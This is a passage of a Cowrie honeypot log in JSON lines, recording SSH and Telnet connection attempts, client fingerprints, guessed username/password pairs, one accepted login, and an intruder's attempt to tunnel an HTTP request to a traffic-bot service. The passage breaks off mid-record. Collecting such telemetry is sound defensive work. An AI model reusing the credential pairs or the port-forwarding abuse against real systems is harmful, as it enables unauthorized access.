{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":56801,"dst_ip":"10.17.0.5","dst_port":22,"session":"379208a39747","protocol":"ssh","message":"New connection: 23.148.145.132:56801 (10.17.0.5:22) [session: 379208a39747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:25.026601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:25.036107Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:25.112493Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:26.733453Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:27.095640Z","src_ip":"91.92.40.36","session":"1b545af54559","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:27.983372Z","src_ip":"91.92.40.36","session":"e7716052a101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:27.990036Z","src_ip":"91.92.40.36","session":"e7716052a101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":55844,"dst_ip":"159.203.135.109","dst_port":22,"session":"36fb6e879c5b","protocol":"ssh","message":"New connection: 41.90.100.147:55844 (159.203.135.109:22) [session: 36fb6e879c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:29.957747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:29.961929Z","src_ip":"41.90.100.147","session":"36fb6e879c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:30.176646Z","src_ip":"41.90.100.147","session":"36fb6e879c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mohammad123","message":"login attempt [root/mohammad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:31.067377Z","src_ip":"41.90.100.147","session":"36fb6e879c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sujan","password":"masGdokM1","message":"login attempt [Sujan/masGdokM1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:31.835511Z","src_ip":"91.92.40.36","session":"376c51b7bd4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:32.284637Z","src_ip":"41.90.100.147","session":"36fb6e879c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15116,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ab4b9b462f","protocol":"ssh","message":"New connection: 91.92.40.36:15116 (159.203.135.109:22) [session: 63ab4b9b462f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:32.873544Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":65038,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b876073f624","protocol":"ssh","message":"New connection: 23.175.50.47:65038 (10.17.0.5:22) [session: 8b876073f624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:33.632448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:33.636562Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:33.759062Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:35.100327Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:35.550103Z","src_ip":"91.92.40.36","session":"63ab4b9b462f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:35.554621Z","src_ip":"91.92.40.36","session":"63ab4b9b462f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:35.846096Z","src_ip":"91.92.40.36","session":"376c51b7bd4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43386,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8ea501d02d","protocol":"telnet","message":"New connection: 128.199.8.54:43386 (159.203.135.109:23) [session: 3b8ea501d02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:37.921352Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25758,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b041758ed40","protocol":"ssh","message":"New connection: 91.92.40.36:25758 (159.203.135.109:22) [session: 4b041758ed40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:38.673848Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36136,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eae1122c4c8","protocol":"ssh","message":"New connection: 27.71.230.31:36136 (10.17.0.5:22) [session: 5eae1122c4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:38.873861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:38.945805Z","src_ip":"27.71.230.31","session":"5eae1122c4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"4321","message":"login attempt [elasticsearch/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:38.983721Z","src_ip":"91.92.40.36","session":"e7716052a101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:40.203976Z","src_ip":"27.71.230.31","session":"5eae1122c4c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!@#2024","message":"login attempt [root/Welcome!@#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:40.885576Z","src_ip":"27.71.230.31","session":"5eae1122c4c8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:41.391139Z","src_ip":"91.92.40.36","session":"4b041758ed40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:41.396275Z","src_ip":"91.92.40.36","session":"4b041758ed40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:42.135057Z","src_ip":"27.71.230.31","session":"5eae1122c4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.0","message":"Connection lost after 19.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:43.477244Z","src_ip":"91.92.40.36","session":"e7716052a101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:45.017865Z","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:45.031597Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3860.146 Safari/537.36 OPR/55.0.3819.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aVF7PF9QXlohMTlhRGw%2FTA%3D%3D95YwLzYlN5VUhMWh8%2Fuo%2BrKTmd1Xuq5DyMEM1eAogonuxBp5Ub8jKn8pfYLel10iNR2T6eGbcmVDUZEmbRBfi9%2FZ9us2PJsxZDcrXmJDS15az5cOwT5GXcHhImcjEr9IdXoKx0xdNClYVzMKs%2F3oFsZ%2Fgqb0QZu6hp5nlwKcatZdm31Kvo5aA7yWoE8DNNyB%2BU6tqj%2BPwhvGyomQrTNhvKYDrPlKYd0vvNV91ioxQ%2F13cYQav%2BiAsMCoFK%2B%2BxBm5zfHBxqj0tgsBe9yigHQ%2BR%2BtpYWeFdlRjCYmbZoz5y%2BAJMlPgwR6PwER3e5RXKz53NGMe88vXmGnRBzZbaupmWvBbA6Ne%2F6nmP13cAkBR3bXXwum3cCnVFPwKQAJPC5s0DK5Y8s50t1hSZ0hKOmASE%2BhYCsSdu6BxDN8JmJ4LVN2xyln6JFa%2BZIy5jzeZ2DoxBOunEUgYsziUfNPGewzmvQBwLSkScx6GnbuTpQhceZcxwRNVeKd2kEkStbSKumTBi6qPMGoVsrFx4vCM0EBDzEc1vsGeLhJXOY5SVekAukaU7jq6EmhBBJEqj3Ay8XNEezvpjrW7bQMCtnK1RyXuQawjGGdYj%2FZ%2F40TqWq7KgNaeHuLkKjdAAnt7vdMHwLQ9zjgZZDBkmsR8jV5iR7CBnUFGUog1IimJ8VnIKay5t5Yt3a9YhMj5jmK1KyS%2FRDy2GbXS9pmKsgHaiK9rp0mLGbQU3Rw0e9uv3ZcARW%2BAivUMjB1cyKwOszhHmCpfFq%2FKsTKbzjWm82xXQoQ4%2FEtbOicP0o8S4vyttvbAp9OvATpO%2Bjzcev0eEvdn0RdNuf4ysTKizofs6kNSOr7q0WSjt%2B%2FAgTnWZQt2ESaXi28Yd0%2Bk8L7vvop5r%2BSNAOB4mSmxkKE6sacScNgddZ1T4gOFBHyu8rhwb6aZ4ZzP6xCUwDt5PPq8tOPGt6QCDsIbGObPX1IMcFxjuwN4rPFx4TyQWgN1u%2BgKnYkyNqenbq1rQqG4hw2j0Z3AneWYiXNLpfKgqA3io3zA9JgGJ9wB4OoM9zxSlF3%2BWRekAJDohzFL8SM2wuklr9pbwa6EQIl0zmxi'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3860.146 Safari/537.36 OPR/55.0.3819.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aVF7PF9QXlohMTlhRGw%2FTA%3D%3D95YwLzYlN5VUhMWh8%2Fuo%2BrKTmd1Xuq5DyMEM1eAogonuxBp5Ub8jKn8pfYLel10iNR2T6eGbcmVDUZEmbRBfi9%2FZ9us2PJsxZDcrXmJDS15az5cOwT5GXcHhImcjEr9IdXoKx0xdNClYVzMKs%2F3oFsZ%2Fgqb0QZu6hp5nlwKcatZdm31Kvo5aA7yWoE8DNNyB%2BU6tqj%2BPwhvGyomQrTNhvKYDrPlKYd0vvNV91ioxQ%2F13cYQav%2BiAsMCoFK%2B%2BxBm5zfHBxqj0tgsBe9yigHQ%2BR%2BtpYWeFdlRjCYmbZoz5y%2BAJMlPgwR6PwER3e5RXKz53NGMe88vXmGnRBzZbaupmWvBbA6Ne%2F6nmP13cAkBR3bXXwum3cCnVFPwKQAJPC5s0DK5Y8s50t1hSZ0hKOmASE%2BhYCsSdu6BxDN8JmJ4LVN2xyln6JFa%2BZIy5jzeZ2DoxBOunEUgYsziUfNPGewzmvQBwLSkScx6GnbuTpQhceZcxwRNVeKd2kEkStbSKumTBi6qPMGoVsrFx4vCM0EBDzEc1vsGeLhJXOY5SVekAukaU7jq6EmhBBJEqj3Ay8XNEezvpjrW7bQMCtnK1RyXuQawjGGdYj%2FZ%2F40TqWq7KgNaeHuLkKjdAAnt7vdMHwLQ9zjgZZDBkmsR8jV5iR7CBnUFGUog1IimJ8VnIKay5t5Yt3a9YhMj5jmK1KyS%2FRDy2GbXS9pmKsgHaiK9rp0mLGbQU3Rw0e9uv3ZcARW%2BAivUMjB1cyKwOszhHmCpfFq%2FKsTKbzjWm82xXQoQ4%